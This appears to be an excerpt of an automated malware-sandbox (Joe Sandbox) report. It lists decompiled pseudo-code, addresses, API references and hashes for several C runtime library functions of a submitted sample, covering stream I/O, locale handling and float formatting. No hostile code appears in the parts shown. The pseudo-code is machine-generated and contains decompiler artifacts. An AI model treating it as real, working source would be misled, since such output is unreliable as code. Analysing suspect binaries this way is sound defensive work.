Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: ExceptionException@8H_prolog3RaiseThrowstd::bad_exception::bad_exceptionstd::runtime_error::runtime_error
String ID: invalid string position
API String ID: 3299838469-1799206989
Opcode ID: 9e107e98f880183875affd3a62a5562db8fd378c7703897fdb92a8b16bf6f75d
Instruction ID: af40592f8a9483888ae80557fd9b29083783cfb1a70bd21b8cec60552d4e7c05
Opcode Fuzzy Hash: 9e107e98f880183875affd3a62a5562db8fd378c7703897fdb92a8b16bf6f75d
Instruction Fuzzy Hash: 15D0EC75A51118AAEB04E6D1D846BED77786B14718F50043BA200760C2EABC65058669

Uniqueness

Uniqueness Score: -1.00%

Function 0040DC03 Relevance: 6.2, APIs: 4, Instructions: 152
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040DC03(void* __ebx, signed int __ecx, void* __edx, signed int __edi, void* __esi, void* __eflags) {
				signed int _t52;
				void* _t54;
				void* _t58;
				intOrPtr _t61;
				signed int _t67;
				void* _t106;
				void* _t130;

				_t123 = __edi;
				_t122 = __edx;
				_t95 = __ebx;
				_push(0x58);
				E00411B12(E00421F88, __ebx, __edi, __esi);
				_t129 = __ecx;
				if( *( *(__ecx + 0x20)) == 0 ||  *( *(__ecx + 0x20)) >=  *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x30)))) +  *( *(__ecx + 0x20))) {
					_t52 =  *(_t129 + 0x4c);
					__eflags = _t52;
					if(_t52 != 0) {
						__eflags =  *(_t129 + 0x3c);
						if(__eflags != 0) {
							E00409420(_t130 - 0x2c);
							 *(_t130 - 4) =  *(_t130 - 4) & 0x00000000;
							while(1) {
								_push( *(_t129 + 0x4c));
								_t54 = E00411B6B(_t95, _t122, _t123, _t129, __eflags);
								__eflags = _t54 - 0xffffffff;
								if(_t54 == 0xffffffff) {
									break;
								}
								E0040C730(_t95, _t130 - 0x2c, _t123, _t129, 1, _t54);
								_t58 = E0040D3B5(E0040DB9E(_t130 - 0x2c, _t130 - 0x44));
								_t95 = _t58;
								_t61 = E0040D3B5(E0040DB9E(_t130 - 0x2c, _t130 - 0x64));
								_t122 =  *( *(_t129 + 0x3c));
								 *((intOrPtr*)(_t130 - 0x38)) = _t61;
								_t123 =  *((intOrPtr*)(_t130 - 0x18)) + _t58;
								_t67 =  *((intOrPtr*)( *( *(_t129 + 0x3c)) + 0x10))(_t129 + 0x44,  *((intOrPtr*)(_t130 - 0x38)),  *((intOrPtr*)(_t130 - 0x18)) + _t58, _t130 - 0x34, _t130 - 0x2d, _t130 - 0x2c, _t130 - 0x3c);
								__eflags = _t67;
								if(_t67 < 0) {
									break;
								} else {
									_t123 = 1;
									__eflags = _t67 - 1;
									if(_t67 <= 1) {
										_t106 = _t130 - 0x2c;
										__eflags =  *((intOrPtr*)(_t130 - 0x3c)) - _t130 - 0x2d;
										if( *((intOrPtr*)(_t130 - 0x3c)) != _t130 - 0x2d) {
											_t123 =  *((intOrPtr*)(_t130 - 0x18)) -  *((intOrPtr*)(_t130 - 0x34)) + E0040D3B5(E0040DB9E(_t106, _t130 - 0x54));
											while(1) {
												__eflags = _t123;
												if(_t123 <= 0) {
													goto L23;
												}
												_push( *(_t129 + 0x4c));
												_t123 = _t123 - 1;
												__eflags = _t123;
												_push( *((char*)(_t123 +  *((intOrPtr*)(_t130 - 0x34)))));
												E00411E6C(_t95, _t122, _t123, _t129, _t123);
											}
											goto L23;
										} else {
											__eflags =  *((intOrPtr*)(_t130 - 0x34)) - E0040D3B5(E0040DB9E(_t106, _t130 - 0x5c));
											E0040A250(_t95, _t130 - 0x2c, 1, _t129, 0,  *((intOrPtr*)(_t130 - 0x34)) - E0040D3B5(E0040DB9E(_t106, _t130 - 0x5c)));
											continue;
										}
									} else {
										__eflags = _t67 - 3;
										if(_t67 != 3) {
											break;
										} else {
											__eflags =  *((intOrPtr*)(_t130 - 0x18)) - 1;
											if(__eflags < 0) {
												continue;
											} else {
												E0041180A(_t95, _t83, _t130 - 0x2d, 1, E0040D3B5(E0040DB9E(_t130 - 0x2c, _t130 - 0x4c)), 1);
												L23:
												_t129 =  *(_t130 - 0x2d) & 0x000000ff;
											}
										}
									}
								}
								L19:
								E00409A60(_t130 - 0x2c, 1, 0);
								goto L3;
							}
							__eflags = _t129;
							goto L19;
						} else {
							_t52 = E0040D986(__eflags, _t130 - 0x2d, _t52);
							__eflags = _t52;
							if(_t52 == 0) {
								goto L5;
							} else {
							}
						}
					} else {
						L5:
					}
				} else {
					 *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x30)))) =  *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x30)))) - 1;
					_t129 =  *(__ecx + 0x20);
					 *( *(__ecx + 0x20)) =  *( *(__ecx + 0x20)) + 1;
				}
				L3:
				return E00411B5C(_t95, _t123, _t129);
			}

0x0040dc03
0x0040dc03
0x0040dc03
0x0040dc03
0x0040dc0a
0x0040dc0f
0x0040dc18
0x0040dc42
0x0040dc45
0x0040dc47
0x0040dc4e
0x0040dc52
0x0040dc6d
0x0040dc72
0x0040dd3d
0x0040dd3d
0x0040dd40
0x0040dd46
0x0040dd49
0x00000000
0x00000000
0x0040dc81
0x0040dc94
0x0040dc9c
0x0040dcac
0x0040dcb4
0x0040dcb6
0x0040dcc9
0x0040dcd3
0x0040dcd6
0x0040dcd8
0x00000000
0x0040dcda
0x0040dcdc
0x0040dcdd
0x0040dcdf
0x0040dd15
0x0040dd18
0x0040dd1b
0x0040dd7b
0x0040dd92
0x0040dd92
0x0040dd94
0x00000000
0x00000000
0x0040dd82
0x0040dd85
0x0040dd85
0x0040dd8a
0x0040dd8b
0x0040dd91
0x00000000
0x0040dd1d
0x0040dd30
0x0040dd38
0x00000000
0x0040dd38
0x0040dce1
0x0040dce1
0x0040dce4
0x00000000
0x0040dce6
0x0040dce6
0x0040dce9
0x00000000
0x0040dceb
0x0040dd05
0x0040dd96
0x0040dd96
0x0040dd96
0x0040dce9
0x0040dce4
0x0040dcdf
0x0040dd52
0x0040dd59
0x00000000
0x0040dd5e
0x0040dd4f
0x00000000
0x0040dc54
0x0040dc59
0x0040dc60
0x0040dc62
0x00000000
0x0040dc64
0x0040dc64
0x0040dc62
0x0040dc49
0x0040dc49
0x0040dc49
0x0040dc2a
0x0040dc2d
0x0040dc2f
0x0040dc37
0x0040dc39
0x0040dc3c
0x0040dc41

APIs

__EH_prolog3_GS.LIBCMT ref: 0040DC0A
_fgetc.LIBCMT ref: 0040DD40

Part of subcall function 0040C730: std::_String_base::_Xlen.LIBCPMT ref: 0040C74A

_memcpy_s.LIBCMT ref: 0040DD05
_ungetc.LIBCMT ref: 0040DD8B

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: H_prolog3_String_base::_Xlen_fgetc_memcpy_s_ungetcstd::_
String ID:
API String ID: 9762108-0
Opcode ID: 136ea5ae2a1a3c585db84f18bb014eb676ada29dec6c3a64eb5adac86f03acdc
Instruction ID: 3e90c028216f2dac04a5f4fc482217afac4ee8f396905c850b9c91963aa64793
Opcode Fuzzy Hash: 136ea5ae2a1a3c585db84f18bb014eb676ada29dec6c3a64eb5adac86f03acdc
Instruction Fuzzy Hash: E7515F72D042089FDB14EBF5C8419EEB7B9AF48314B20453FE552B72D1EA78E948CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004121C2 Relevance: 6.1, APIs: 4, Instructions: 137
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E004121C2(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
										_t68 = E00417280(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E004198C6(_t90, _t98, _t100));
										_t74 = E0041A074(_t81, _t90, _t98, _t100, __eflags);
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E00411EDE(_t90, _t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E0040F1A0(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E004147E4(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E00411757(_t90, 0, _t100);
					goto L4;
				}
			}

0x004121c2
0x004121d2
0x004121f8
0x00000000
0x004121d9
0x004121d9
0x004121dc
0x004121de
0x004121ff
0x00412202
0x00412204
0x00000000
0x00000000
0x00412206
0x0041220b
0x0041220e
0x00412211
0x00000000
0x00000000
0x00412216
0x0041221a
0x00412221
0x00412224
0x00412227
0x00412229
0x00412233
0x0041222b
0x0041222e
0x0041222e
0x0041223a
0x0041223c
0x00412301
0x00000000
0x00412242
0x00412242
0x00412245
0x00412245
0x0041224b
0x0041227c
0x0041227c
0x0041227f
0x004122d8
0x004122df
0x004122e2
0x0041230d
0x0041230d
0x0041230f
0x00000000
0x00412313
0x004122e4
0x004122e7
0x004122ea
0x004122eb
0x004122ee
0x004122f0
0x004122f2
0x004122f2
0x00000000
0x004122f0
0x00412281
0x00412283
0x00412290
0x00412290
0x00412294
0x00412296
0x0041229a
0x0041229c
0x0041229f
0x0041229f
0x0041229f
0x004122a1
0x004122a2
0x004122ac
0x004122ad
0x004122b2
0x004122b5
0x004122b8
0x0041231b
0x0041231b
0x0041231f
0x00000000
0x004122ba
0x004122ba
0x004122bc
0x004122be
0x004122c0
0x004122c0
0x004122c2
0x004122c5
0x004122c7
0x004122c9
0x00000000
0x004122cb
0x004122cb
0x004122cb
0x00000000
0x004122cb
0x004122c9
0x004122b8
0x00412286
0x0041228c
0x0041228e
0x00000000
0x00000000
0x00000000
0x0041228e
0x0041224d
0x00412250
0x00412252
0x00000000
0x00000000
0x00412254
0x00412309
0x00412309
0x00412309
0x00000000
0x00412309
0x0041225a
0x0041225c
0x0041225e
0x00412260
0x00412260
0x00412268
0x0041226d
0x00412270
0x00412272
0x00412275
0x00412277
0x00000000
0x004122f9
0x004122f9
0x004122f9
0x00000000
0x00412242
0x0041223c
0x004121e0
0x004121e0
0x004121e5
0x004121e6
0x004121e7
0x004121e8
0x004121e9
0x004121ea
0x004121f0
0x00000000
0x004121f5

APIs

__flush.LIBCMT ref: 00412286
__fileno.LIBCMT ref: 004122A6
__locking.LIBCMT ref: 004122AD
__flsbuf.LIBCMT ref: 004122D8

Part of subcall function 004147E4: __getptd_noexit.LIBCMT ref: 004147E4

Part of subcall function 00411757: __decode_pointer.LIBCMT ref: 00411762

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: ae4a661271660a5b56bd5d9887491d05102aa0824856d74e9857834bbb4b5377
Instruction ID: a6e7b07b93f0533021e0c6bfc74e14286fd3fa26ec51e8208e1666748610dba1
Opcode Fuzzy Hash: ae4a661271660a5b56bd5d9887491d05102aa0824856d74e9857834bbb4b5377
Instruction Fuzzy Hash: 5741C631A00604EBDB14CFA98A445DFB7B1BF80350F24826BE825D7240D7BCDEE19B58

Uniqueness

Uniqueness Score: -1.00%

Function 0041F1FE Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041F1FE(void* __edx, void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t74;

				_t74 = _a8;
				if(_t74 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t74 != 0) {
						E0040F510( &_v20, __edx, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E00416DE8( *_t74 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t74, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E004147E4(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t74[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t74, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t74 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x0041f208
0x0041f20f
0x0041f226
0x00000000
0x0041f216
0x0041f218
0x0041f232
0x0041f237
0x0041f23a
0x0041f23d
0x0041f266
0x0041f26d
0x0041f26f
0x0041f2f0
0x0041f30b
0x0041f30d
0x0041f24d
0x0041f24d
0x0041f250
0x0041f252
0x0041f255
0x0041f255
0x0041f255
0x0041f255
0x00000000
0x0041f25b
0x0041f2cf
0x0041f2cf
0x0041f2d4
0x0041f2da
0x0041f2dd
0x0041f2df
0x0041f2e2
0x0041f2e2
0x0041f2e2
0x0041f2e2
0x00000000
0x0041f2e6
0x0041f271
0x0041f274
0x0041f27a
0x0041f27d
0x0041f2a4
0x0041f2a7
0x0041f2ad
0x00000000
0x00000000
0x0041f2af
0x0041f2b2
0x00000000
0x00000000
0x0041f2b4
0x0041f2b4
0x0041f2ba
0x0041f2bd
0x0041f22b
0x0041f22b
0x0041f2c6
0x00000000
0x0041f2c6
0x0041f27f
0x0041f282
0x00000000
0x00000000
0x0041f286
0x0041f297
0x0041f29d
0x0041f29f
0x0041f2a2
0x00000000
0x00000000
0x00000000
0x0041f2a2
0x0041f23f
0x0041f242
0x0041f244
0x0041f24a
0x0041f24a
0x00000000
0x0041f21a
0x0041f21a
0x0041f21f
0x0041f223
0x0041f223
0x00000000
0x0041f21f
0x0041f218

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0041F232
__isleadbyte_l.LIBCMT ref: 0041F266
MultiByteToWideChar.KERNEL32(00000080,00000009,00417491,?,00000000,00000000,?,?,?,?,00417491,00000000,?), ref: 0041F297
MultiByteToWideChar.KERNEL32(00000080,00000009,00417491,00000001,00000000,00000000,?,?,?,?,00417491,00000000,?), ref: 0041F305

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5cb187c8dfae75c079e5e639c3cec063100d0dee9335e3877a97675c3a638cf6
Instruction ID: 70dec6153a3d8b402e6228eac119b50d755de071a24cf7bfee8ad820051f6c77
Opcode Fuzzy Hash: 5cb187c8dfae75c079e5e639c3cec063100d0dee9335e3877a97675c3a638cf6
Instruction Fuzzy Hash: 1B31F335A00245EFCB20DFA4D8809FA3BB0BF01310B1549FBE4609B291D336DD86CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004146C7 Relevance: 6.1, APIs: 4, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004146C7(intOrPtr __eax, void* __ebx, void* __edi, void* __esi) {
				void* _t17;
				intOrPtr _t19;
				intOrPtr _t27;
				void* _t43;
				void* _t44;

				_t43 = __esi;
				_t41 = __edi;
				_t32 = __ebx;
				 *((intOrPtr*)(_t44 - 0x20)) = __eax;
				if(__eax == __ebx) {
					E00413909(__edi);
					_t17 = E00413731(__edi);
				} else {
					if( *((intOrPtr*)(_t44 + 0xc)) != __ebx && E00417040( *((intOrPtr*)(_t44 + 0xc)), 0x44c428) != 0) {
						L"yalty precluding globed" = 1;
					}
					E00418B9E(_t32, 0xc);
					 *(_t44 - 4) = 2;
					_t33 = _t43 + 0x6c;
					E004139C8(_t43 + 0x6c, _t41);
					E00413909(_t41);
					if(( *(_t43 + 0x70) & 0x00000002) == 0 && ( *0x44c420 & 0x00000001) == 0) {
						E004139C8(0x44c508,  *_t33);
						_t27 =  *0x44c508; // 0x20c10f8
						E0040F1A0(_t33,  *_t33, _t43, 0x44d110, _t27 + 0xc, 0x18);
						E00413A7C();
					}
					 *(_t44 - 4) =  *(_t44 - 4) & 0x00000000;
					_t17 = E0041476C();
				}
				 *(_t44 - 4) = 0xfffffffe;
				E0041479D(_t17, _t43);
				_t19 =  *((intOrPtr*)(_t44 - 0x20));
				return E004187E1(_t19);
			}

0x004146c7
0x004146c7
0x004146c7
0x004146c8
0x004146cd
0x00414778
0x0041477e
0x004146d3
0x004146d6
0x004146eb
0x004146eb
0x004146f7
0x004146fd
0x00414704
0x00414709
0x0041470f
0x00414719
0x0041472b
0x00414732
0x00414740
0x00414748
0x00414748
0x0041474d
0x00414751
0x00414751
0x00414785
0x0041478c
0x00414791
0x00414799

APIs

__lock.LIBCMT ref: 004146F7
___removelocaleref.LIBCMT ref: 0041470F
_sync_legacy_variables_lk.LIBCMT ref: 00414748
___removelocaleref.LIBCMT ref: 00414778

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: ___removelocaleref$__lock_sync_legacy_variables_lk
String ID:
API String ID: 823508264-0
Opcode ID: f8c6c495f7f7e7cfa43ee0157ec3d995a06cab7c96b38b7653b088138a0d2439
Instruction ID: 1d398a79e0fbac7e52221fea3be31a3d130e79a4daa7d2989154714cc8ae12be
Opcode Fuzzy Hash: f8c6c495f7f7e7cfa43ee0157ec3d995a06cab7c96b38b7653b088138a0d2439
Instruction Fuzzy Hash: 5C11E571904304AAEB10BF65D8867ED37A05F4632DF24402FF410A62D2CB7C99C5861D

Uniqueness

Uniqueness Score: -1.00%

Function 00415DE1 Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00415DE1(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E004156D2(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E004157C2(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00415CE7(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00415C2C(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00415de6
0x00415dec
0x00415e5f
0x00000000
0x00415df3
0x00415df3
0x00415df6
0x00415e11
0x00415e14
0x00415e34
0x00415e46
0x00415e16
0x00415e16
0x00415e19
0x00000000
0x00415e1b
0x00415e2d
0x00415e2d
0x00415e19
0x00415e64
0x00415e68
0x00415df8
0x00415e10
0x00415e10
0x00415df6

APIs

__cftof_l.LIBCMT ref: 00415E07

Part of subcall function 00415C2C: __fltout2.LIBCMT ref: 00415C58

__cftog_l.LIBCMT ref: 00415E2D
__cftoe_l.LIBCMT ref: 00415E5F

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 0719fcd94d6e71d395a9166602a6cc88582dfdff2675d8d49b122351680220c2
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: F611403240064AFBCF125F85CC45CEE3F63BB98354F588416FA5859131D33ACAB1AB85

Uniqueness

Uniqueness Score: -1.00%

Function 00413A06 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00413A06(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x428810);
				E0041879C(__ebx, __edi, __esi);
				_t28 = E00416B12(__ebx, __edx, __edi, _t30);
				_t13 =  *0x44c420; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E00418B9E(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x44c508; // 0x20c10f8
					 *((intOrPtr*)(_t29 - 0x1c)) = E004139C8(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E00413A70();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E00416B12(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E00417A13(_t25, _t26, 0x20);
				}
				return E004187E1(_t28);
			}

0x00413a06
0x00413a06
0x00413a06
0x00413a06
0x00413a06
0x00413a08
0x00413a0d
0x00413a17
0x00413a19
0x00413a21
0x00413a45
0x00413a47
0x00413a4d
0x00413a51
0x00413a54
0x00413a5f
0x00413a62
0x00413a69
0x00413a23
0x00413a23
0x00413a27
0x00000000
0x00413a29
0x00413a2e
0x00413a2e
0x00413a27
0x00413a33
0x00413a37
0x00413a3c
0x00413a44

APIs

__getptd.LIBCMT ref: 00413A12

Part of subcall function 00416B12: __getptd_noexit.LIBCMT ref: 00416B15
Part of subcall function 00416B12: __amsg_exit.LIBCMT ref: 00416B22

__getptd.LIBCMT ref: 00413A29
__amsg_exit.LIBCMT ref: 00413A37
__lock.LIBCMT ref: 00413A47

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

